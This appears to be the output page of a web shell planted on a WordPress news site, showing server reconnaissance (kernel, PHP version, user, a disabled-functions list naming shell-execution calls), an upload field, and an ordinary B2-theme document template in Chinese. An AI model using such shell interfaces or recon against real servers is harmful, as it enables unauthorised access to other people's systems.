AVRIL_START_JANCOKALIVEAVRIL_END_JANCOK
| Server IP : dzynews.com / Your IP : 216.73.217.105 Web Server : nginx/1.30.3 System : Linux cloud-tdkldl-avd6 5.15.0-91-generic #101-Ubuntu SMP Tue Nov 14 13:30:08 UTC 2023 x86_64 User : www ( 1000) PHP Version : 8.2.31 Disable Function : passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /www/wwwroot/dzynews.com/wp-content/themes/archive-document/TempParts/ |
Upload File : |
<?php
use B2\Modules\Common\Post;
$post_id = get_the_id();
$help = get_post_meta($post_id,'b2_help_count',true);
$help = is_array($help) ? $help : array(
'count'=>0,
'useful'=>0
);
?>
<h1><?php echo get_the_title(); ?></h1>
<div class="post-meta">
<?php echo __('更新于:','b2').get_the_date('Y-m-d G:i:s'); ?>
</div>
<div class="entry-content">
<?php the_content(); ?>
</div>
<div class="single-document-footer">
<div class="document-tips"><?php echo __('这篇文章对你有帮助吗?','b2'); ?></div>
<div class="document-help">
<button @click="vote('up')"><?php echo b2_get_icon('b2-check-line').__('是','b2'); ?></button>
<button @click="vote('down')"><?php echo b2_get_icon('b2-close-line').__('否','b2'); ?></button>
</div>
<div class="document-help-count">
<?php echo sprintf(__('%s人中%s人觉得有帮助','b2'),'<span class="useful" v-text="postData.up + postData.down"></span>','<span class="unuse" v-text="postData.up"></span>'); ?>
</div>
<button class="jubao-button text favorite-button" style="margin-top:10px" @click="jubao.close('infomation',<?php echo $post_id; ?>)"><?php echo b2_get_icon('b2-shield-user-line'); ?><?php echo __('举报','b2'); ?></button>
</div>
<?php
$related = Post::get_related_posts($post_id);
if(!empty($related)){
echo '<div class="document-related"><h2>'.__('以下内容可能对你有帮助:','b2').'</h2><ul class="document-more-help b2-hover">';
foreach ($related as $k => $v) {
echo '<li><a href="'.$v['link'].'">'.$v['title'].'</a></li>';
}
echo '</ul></div>';
}
?>